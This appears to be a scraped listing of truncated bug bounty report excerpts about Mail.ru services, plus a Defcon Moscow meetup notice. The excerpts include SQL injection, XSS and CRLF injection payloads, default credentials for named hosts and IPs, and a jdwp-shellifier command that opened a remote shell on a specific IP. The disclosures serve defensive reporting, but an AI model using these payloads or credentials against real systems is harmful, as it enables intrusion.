Mail.ru: Content spoofing в http://my.mail.ru/cgi-bin/app/paymentm

Text injection into http://my.mail.ru/cgi-bin/app/paymentm could assist phishing attack. Under current practice, text injection reports are only accepted as an exeption, for vectors with high potential for phishing attacks in-the-wild...

Mail.ru: Time-Based Blind SQL Injection Attacks

Здравствуйте, на сайте http://jh.my.com/forum/ajax/render/memberlistitems обнаружена blind sql. При отправке в POST-запросе : criteriastartwith=ifnow=sysdate,sleep0,0/"XORifnow=sysdate,sleep0,0OR"/ Сервер будет отрабатывать заданное время. Прикрепляю скрин...

Mail.ru: Cross site scripting

Hiii Sir, Here is XSS at following link: http://go.mail.RU/ Steps to reproduce: 1. Go to http://go.mail.RU/ 2. Enter in search box alert"XSS by Smit"; Yeah pop up will display. Happy to help SMIT...

Встреча Defcon Moscow #9

3 июля, в пятницу, в офисе Mail.Ru Group состоится девятая встреча Defcon Moscow, которую организует группа DC7499. Defcon Moscow — это открытое и независимое сообщество технических энтузиастов, приближенных к области высоких технологий, а также информационной и технической безопасности. Программ...

Mail.ru: [my.mail.ru] CRLF Injection

Сценарий перенаправления с /folder/ на /folder уязвим к атаке типа CRLF Injection. PoC Установка cookie crlf=inj на .mail.ru Подвержены все браузеры, кроме FireFox http://my.mail.ru/crlftest%0dSet-Cookie:crlf=inj6;domain=.mail.ru;path=/;/...

Mail.ru: Possible xWork classLoader RCE: shared.mail.ru

Ее похоже аффектит https://confluence.atlassian.com/display/DOC/Confluence+Security+Advisory+2014-05-21 classLoader пролетает, то есть фикса на уровне регулярок нет версия в уязвимом скоупе Я конечно попробую в выходные реально код исполнить, но по внешним признакам оно там есть Все версии меньше...

Mail.ru: [mrgs.mail.ru] Internet Explorer XSS via Request-URI

Открыть с помощью Internet Explorer для формирования правильного запроса используется баг перенаправления, поэтому необходим сценарий "bf.am/x?r=" http://bf.am/x?r=https://mrgs.mail.ru/"/%252e%252e/%252e%252e/ Результат: /%2e%2e/%2e%2e/"...

Mail.ru: [s.mail.ru] CRLF Injection

Сценарий перенаправления с https://s.mail.ru/ на https://cloud.mail.ru/ уязвим к атаки типа CRLF Injection. PoC Установка cookie crlf=injection на .mail.ru Подвержены все браузеры, кроме FireFox https://s.mail.ru/test%0dSet-Cookie:crlf=injection;domain=.mail.ru; Может быть использовано в комбинац...

Mail.ru: help2.m.smailru.net: XSS

GET /login/index.php/article/articleview/ALERT"alert1 HTTP/1.1 Host: help2.m.smailru.net User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.10; rv:32.0 Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language:...

Mail.ru: Activities are not Protected and able to crash app using other app (Can Malware or third parry app).

Name : ru.mail.mailapp-10570.apk Size : 11.02MB MD5 : 7600e180a1616c7ebb1b1514e23b7d19 Package: ru.mail.mailapp ru.mail.registration.RegistrationActivity ru.mail.ui.writemail.FeedbackActivity ru.mail.ui.writemail.ForwardActivity ru.mail.ui.writemail.ReplyActivity ru.mail.ui.writemail.DraftActivit...

Mail.ru: https://voip.agent.mail.ru/phpinfo.php

https://voip.agent.mail.ru/phpinfo.php...

Mail.ru: http://tp-dev1.tp.smailru.net/

Логин-пароль на вход admin/admin + YII в дебаге...

Mail.ru: tt-mac.i.mail.ru: Quagga 0.99.23.1 (Router) : Default password and default enable password

telnet 185.5.138.229 2601 Пароль zebra Пароль на enable - zebra...

Mail.ru: http://fitter1.i.mail.ru/browser/ торчит Graphite в мир

http://fitter1.i.mail.ru/browser/ Он тут. Если верить: http://fitter1.i.mail.ru/version/ Версия: 0.9.10 У нее RCE через PICLE. http://www.rapid7.com/db/modules/exploit/unix/webapp/graphitepickleexec...

Mail.ru: store-agent.mail.ru: stacked blind injection

store-agent.mail.ru purchases db admin auth bypass + blind sql injection...

Mail.ru: Flash XSS on img.mail.ru

Vulnerable Flash File: http://img.mail.ru/r/video2/playerv2.swf Steps: + Open http://img.mail.ru/r/video2/playerv2.swf?metadataUrl=http://videoapi.my.mail.ru/videos//community/mir/groupvideo/921.json&redirectUrl=%22;alertdocument.domain;catche// + Click on social share and click on anything eg...

Mail.ru: XSS in touch.sports.mail.ru

The XSS vulnerability is located here: https://touch.sports.mail.ru and is triggered by setting referer to: tttttalert0 The problem is that the referer is being loaded like so: html Other Javascript Here "httpReferer":"ttttt alert0 ","user":"","topBanner":"sz":9,"slot":3333,"retinaBanner":"...

Mail.ru: XSS in ad.mail.ru

The XSS vulnerability is located here: https://ad.mail.ru/adi/3030 and is triggered by setting referer to: "alert0 The problem is that the referer is being loaded like so: html alert0 " I am aware that this is out of scope, but I am still reporting it since I just happened to spot it while lookin...

Mail.ru: XSS in realty.mail.ru

The XSS vulnerability is located here: https://realty.mail.ru/remont/article/9618.html/tttt%22%3E%3Cscript%3Ealert%280%29%3C/script%3E It is caused by the full URL being loaded like so: html alert0 " I am aware that this is out of scope, but I am still reporting it since I just happened to spot i...

Mail.ru: RCE через JDWP

Привет! На айпи 195.211.20.198 открыт JDWP без auth-а. Результат - удаленный шелл : MacBook-Pro-Kirill:Pentest isox$ python2.7 jdwp-shellifier.py -t 195.211.20.198 -p 7605 --break-on 'java.lang.String.indexOf' + Targeting '195.211.20.198:7605' + Reading settings for 'Java HotSpotTM 64-Bit Server ...